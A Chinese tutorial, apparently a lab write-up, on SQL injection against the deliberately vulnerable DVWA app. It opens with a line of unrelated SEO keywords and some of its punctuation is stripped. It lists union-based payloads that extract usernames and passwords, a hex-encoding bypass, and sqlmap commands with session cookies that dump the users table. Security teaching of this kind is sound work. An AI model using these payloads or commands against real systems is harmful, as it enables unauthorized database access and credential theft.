渭南市建设局网站,修改wordpress 表格,房产网站建设产品,石家庄seo排名外包SQL Injection
就是通过把恶意的sql命令插入web表单递交给服务器#xff0c;或者输入域名或页面请求的查询字符串递交到服务器#xff0c;达到欺骗服务器#xff0c;让服务器执行这些恶意的sql命令#xff0c;从而让攻击者#xff0c;可以绕过一些机制#xff0c;达到直…SQL Injection
就是通过把恶意的sql命令插入web表单递交给服务器或者输入域名或页面请求的查询字符串递交到服务器达到欺骗服务器让服务器执行这些恶意的sql命令从而让攻击者可以绕过一些机制达到直接访问数据库的一种攻击手段。
SQL注入分类
数字型
字符型
报错注入
Boollean注入
时间注入SQL注入思路
(1).判断是否存在注入注入是字符型还是数字型(2).猜解SQL查询语句中的字段数 order by(3).确定回显位置 union select (4).获取当前数据库(5).获取数据库中的表(6).获取表中的字段名(7).得到数据SQL注入绕过方法
(1)注释符号绕过 (2)大小写绕过 (3)内联注释绕过(4)特殊编码绕过 (5)空格过滤绕过 (6)过滤or and xor not 绕过知识点
version() 数据库版本
database() 数据库名字
user() 数据库用户在mysql中存在一个自带的数据库information_schema他是一个存储记录所有数据库名表名列名的数据库通过查询他获取指定数据库下面的表名和列名信息 information_schema.table 记录所有表名信息的表
information_schema.column 记录所有列名信息的表
table_name 表名
columns_name 列名low级别
查看源码 1判断注入类型 输入1后结果如下 输入2后结果如下 输入1’后报错 猜出到是字符型注入我们继续输入1’ and ‘1’ 1 2判断字段数 order by
输入1’ order by 1# 输入1’ order by 2# 也没有报错 输入1’ order by 3#时报错了说明字段只有2列 **(3)判断回显位置 **
1 union select 1,2#可以知道回显位置 在这二个地方
(4)判断数据库
1 union select 1,database()#(5)获取表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#**(6)获取字段名 **
1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#(7)获取数据
1 union select user,password from users # medium级别
(1)判断注入类型 我们可以看到无法输入数字所以我们进行抓包在bp中进行SQL注入 输入id1’ and ‘1’1看见报错了 输入id1 and 11没有报错 所以注入类型为数字类型
(2)判断列数 所以列数为2列
3判断回显位置 回显位置为2
(4)判断数据库 5判断表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#(6)判断列名
我们输入users之后发现没有如何反应
通过源代码我们可以知道发现它对单引号进行了转义我们采用16进制绕过得知users的十六进制为 0x75736572
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema0x75736572#(7)获取数据
id1 union select user,password from users#high级别
1判断注入类型
输入1’ and ‘1’2’
判定是字符型注入
(2)判断字段数
1’ order by 1# 1’ order by 2# 在输入 1’ order by 3# 时报错 3判断回显位置
1 union select 1,2#(4) 获取数据库
1 union select 1,database()#(5)获取表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#(6)获取字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#(7)获取数据
1 union select user,password from users#报错解决
sql注入联合查询时返回报错信息 “Illegal mix of collations for operation ‘UNION’ ”
出现这个问题的原因是因为union字符规则不一致导致 解决
进入数据库管理后台 SQL Injection(Blind)
sqlmap是一个自动化的SQL注入工具其主要功能是扫描发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
Sqlmap采用了以下5种独特的SQL注入技术
1、基于布尔类型的盲注即可以根据返回页面判断条件真假的注入
2、基于时间的盲注即不能根据页面返回的内容判断任何信息要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
3、基于报错注入即页面会返回错误信息或者把注入的语句的结果直接返回到页面中
4、联合查询注入在可以使用Union的情况下注入
5、堆查询注入可以同时执行多条语句时的注入Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具很好用是SQL注入方面一个强大的工具
基本步骤
查看sqlmap相关参数以及用法命令格式为sqlmap -h找到一个可利用的网址判断网站数据库类型命令格式为sqlmap -u确定数据库类型为mysql后查看存在的数据库命令格式为sqlmap -u 目标网址–dbs查看数据库中存在的表命令格式为sqlmap -u 目标网址–tables -D 数据库名获取表中的字段命令格式为sqlmap -u 目标网址– columns -T 表名 -D 数据库名猜解出字段查看表里的存储内容命令格式为sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名sqlmap需要我们输入参数其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录如果需要登录则将登陆的Cookie作为参数传递给sqlmap。python sqlmap.py -u “目标地址” --cookie“cookie值” --batch–batch用来指明自动化操作否则每一个步骤都需要确认
–current-bd查看当前数据库名称
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDECOL 指定要排除的 DBMS 数据列
-U USER 指定枚举的 DBMS 用户LOW级别
浏览器抓包 也可以用bp截取cookie信息 sqlmap -u http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id1SubmitSubmit --cookiesecuritylow; PHPSESSID8fkivqb2c1oaqmugqcka4mkgma开始暴库
sqlmap -u http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id1SubmitSubmit --cookiesecuritylow; PHPSESSID14e25onisogeuh3n3mlfkegd9s --dbs --batch暴表名
sqlmap -u http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id1SubmitSubmit --cookiesecuritylow; PHPSESSID14e25onisogeuh3n3mlfkegd9s -D dvwa --tables --batch# -D 要爆破的数据库名
# --tables 暴表名暴字段
sqlmap -u http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id1SubmitSubmit --cookiesecuritylow; PHPSESSID8fkivqb2c1oaqmugqcka4mkgma -D dvwa -T users --columns --batch# -D 要爆破的数据库名
# -T 要爆破的表名
# --columns 暴字段名获取用户和密码
sqlmap -u http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id1SubmitSubmit --cookiesecuritylow; PHPSESSID14e25onisogeuh3n3mlfkegd9s -D dvwa -T users -C user,password --dump # -C user,password 要爆破的字段
# --dump 导出数据库 Medium级别
bp抓包发现是post请求携带参数提交的数据需要使用 --data 参数把数据引入过来 爆破数据库
sqlmap http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/# --cookie securitymedium; PHPSESSIDejqjhrcjdf2em40du4bru9l96n --data id1SubmitSubmit --dbs --batch爆破数据库的表
sqlmap http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/# --cookie securitymedium; PHPSESSIDejqjhrcjdf2em40du4bru9l96n --data id1SubmitSubmit -D dvwa --tables --batch 爆破表的字段
sqlmap http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/# --cookie securitymedium; PHPSESSIDejqjhrcjdf2em40du4bru9l96n --data id1SubmitSubmit -D dvwa -T users --columns --batch 获取用户和密码
sqlmap http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/# --cookie securitymedium; PHPSESSIDejqjhrcjdf2em40du4bru9l96n --data id1SubmitSubmit -D dvwa -T users -C user,password --dump